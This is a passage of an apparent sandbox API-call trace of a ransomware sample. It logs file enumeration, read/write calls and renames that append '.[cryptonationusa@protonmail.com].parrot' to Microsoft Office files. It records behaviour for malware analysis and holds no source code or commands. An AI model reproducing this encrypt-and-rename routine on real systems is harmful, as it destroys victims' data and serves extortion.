liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.499] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dddf, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3dddf, lpOverlapped=0x0) returned 1 [0194.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.533] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0194.533] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfffacee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfffacee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.534] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0194.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.534] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.536] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dddf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3dddf, lpOverlapped=0x0) returned 1 [0194.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.559] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.559] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfffd3040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfffd3040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.560] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfffacee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfffacee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0194.560] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0194.560] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.560] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0194.561] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.561] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0194.561] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0194.561] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0194.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.562] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.563] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dddf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3dddf, lpOverlapped=0x0) returned 1 [0194.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.587] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.587] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1f300, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1f300, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.588] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0194.589] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.589] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0194.590] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.590] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dddf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3dddf, lpOverlapped=0x0) returned 1 [0194.596] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.613] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0194.613] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x6b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.614] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfffd3040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfffd3040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0194.614] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1f300, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1f300, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0194.614] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0194.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.615] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.617] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.617] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0194.646] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.646] WriteFile (in: hFile=0x1b0, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0194.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.650] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0194.697] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bac118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0194.697] CloseHandle (hObject=0x1b0) returned 1 [0194.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.707] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.707] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.708] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x85000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x85000, lpOverlapped=0x0) returned 1 [0194.731] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_schemas14.xss.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\installed_schemas14.xss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.768] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.768] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.770] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.770] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1375c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1375c, lpOverlapped=0x0) returned 1 [0194.777] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.787] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.787] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.788] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.788] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x135a4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x135a4, lpOverlapped=0x0) returned 1 [0194.811] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.819] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.820] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.832] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x551a0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x551a0, lpOverlapped=0x0) returned 1 [0194.878] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.921] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.922] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.923] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.923] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34188, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x34188, lpOverlapped=0x0) returned 1 [0194.932] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.947] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.947] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.949] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.949] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16db0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x16db0, lpOverlapped=0x0) returned 1 [0194.955] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ixgenerc.pdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.962] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.962] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0194.964] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.964] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, 